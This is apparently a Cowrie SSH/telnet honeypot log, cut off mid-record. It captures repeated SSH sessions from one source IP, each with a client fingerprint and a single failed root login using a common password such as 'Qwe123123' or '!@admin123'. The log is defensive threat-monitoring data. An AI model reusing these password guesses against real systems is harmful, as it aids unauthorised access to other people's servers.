{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:00.779016Z","src_ip":"60.165.124.241","session":"51f60d51e9d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123123","message":"login attempt [root/Qwe123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:01.534041Z","src_ip":"60.165.124.241","session":"51f60d51e9d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:02.785433Z","src_ip":"60.165.124.241","session":"51f60d51e9d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54232,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd363ce7bbd","protocol":"ssh","message":"New connection: 60.165.124.241:54232 (10.17.0.5:22) [session: efd363ce7bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:03.040837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:03.046890Z","src_ip":"60.165.124.241","session":"efd363ce7bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:03.285434Z","src_ip":"60.165.124.241","session":"efd363ce7bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mudar123","message":"login attempt [root/mudar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:04.025490Z","src_ip":"60.165.124.241","session":"efd363ce7bbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:05.270908Z","src_ip":"60.165.124.241","session":"efd363ce7bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57348,"dst_ip":"10.17.0.5","dst_port":22,"session":"90cb00ad7cba","protocol":"ssh","message":"New connection: 60.165.124.241:57348 (10.17.0.5:22) [session: 90cb00ad7cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:05.519653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:05.525249Z","src_ip":"60.165.124.241","session":"90cb00ad7cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:05.776969Z","src_ip":"60.165.124.241","session":"90cb00ad7cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.182.43.232","src_port":40893,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5f4493e5a0f","protocol":"telnet","message":"New connection: 60.182.43.232:40893 (159.203.135.109:23) [session: e5f4493e5a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:06.204310Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"MMMmmm111","message":"login attempt [root/MMMmmm111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:06.516138Z","src_ip":"60.165.124.241","session":"90cb00ad7cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:07.756993Z","src_ip":"60.165.124.241","session":"90cb00ad7cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60418,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eba0fba4eb6","protocol":"ssh","message":"New connection: 60.165.124.241:60418 (10.17.0.5:22) [session: 6eba0fba4eb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:08.040656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:08.045417Z","src_ip":"60.165.124.241","session":"6eba0fba4eb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:08.318240Z","src_ip":"60.165.124.241","session":"6eba0fba4eb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERqwer1234","message":"login attempt [root/QWERqwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:09.113163Z","src_ip":"60.165.124.241","session":"6eba0fba4eb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:10.375522Z","src_ip":"60.165.124.241","session":"6eba0fba4eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35296,"dst_ip":"10.17.0.5","dst_port":22,"session":"1227790c7fc5","protocol":"ssh","message":"New connection: 60.165.124.241:35296 (10.17.0.5:22) [session: 1227790c7fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:10.609675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:10.614866Z","src_ip":"60.165.124.241","session":"1227790c7fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:10.869340Z","src_ip":"60.165.124.241","session":"1227790c7fc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trdx@2022","message":"login attempt [root/trdx@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:11.624274Z","src_ip":"60.165.124.241","session":"1227790c7fc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:12.867401Z","src_ip":"60.165.124.241","session":"1227790c7fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38534,"dst_ip":"10.17.0.5","dst_port":22,"session":"f06f9fa860df","protocol":"ssh","message":"New connection: 60.165.124.241:38534 (10.17.0.5:22) [session: f06f9fa860df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:13.098939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:13.104388Z","src_ip":"60.165.124.241","session":"f06f9fa860df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:13.345807Z","src_ip":"60.165.124.241","session":"f06f9fa860df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@admin123","message":"login attempt [root/!@admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:14.091271Z","src_ip":"60.165.124.241","session":"f06f9fa860df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:15.330939Z","src_ip":"60.165.124.241","session":"f06f9fa860df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41664,"dst_ip":"10.17.0.5","dst_port":22,"session":"87d98a85eed4","protocol":"ssh","message":"New connection: 60.165.124.241:41664 (10.17.0.5:22) [session: 87d98a85eed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:15.583430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:15.588863Z","src_ip":"60.165.124.241","session":"87d98a85eed4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:15.836765Z","src_ip":"60.165.124.241","session":"87d98a85eed4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"woshibaichi","message":"login attempt [root/woshibaichi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:16.587851Z","src_ip":"60.165.124.241","session":"87d98a85eed4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:17.837446Z","src_ip":"60.165.124.241","session":"87d98a85eed4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44768,"dst_ip":"10.17.0.5","dst_port":22,"session":"2cc3b4a03d11","protocol":"ssh","message":"New connection: 60.165.124.241:44768 (10.17.0.5:22) [session: 2cc3b4a03d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:18.084841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:18.090994Z","src_ip":"60.165.124.241","session":"2cc3b4a03d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:18.343029Z","src_ip":"60.165.124.241","session":"2cc3b4a03d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.26929783821106,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:18.473450Z","src_ip":"60.182.43.232","session":"e5f4493e5a0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123$%^","message":"login attempt [root/Admin123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:19.095780Z","src_ip":"60.165.124.241","session":"2cc3b4a03d11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:20.349613Z","src_ip":"60.165.124.241","session":"2cc3b4a03d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48084,"dst_ip":"10.17.0.5","dst_port":22,"session":"b258e7ae79b6","protocol":"ssh","message":"New connection: 60.165.124.241:48084 (10.17.0.5:22) [session: b258e7ae79b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:20.571548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:17:20.578702Z","src_ip":"60.165.124.241","session":"b258e7ae79b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh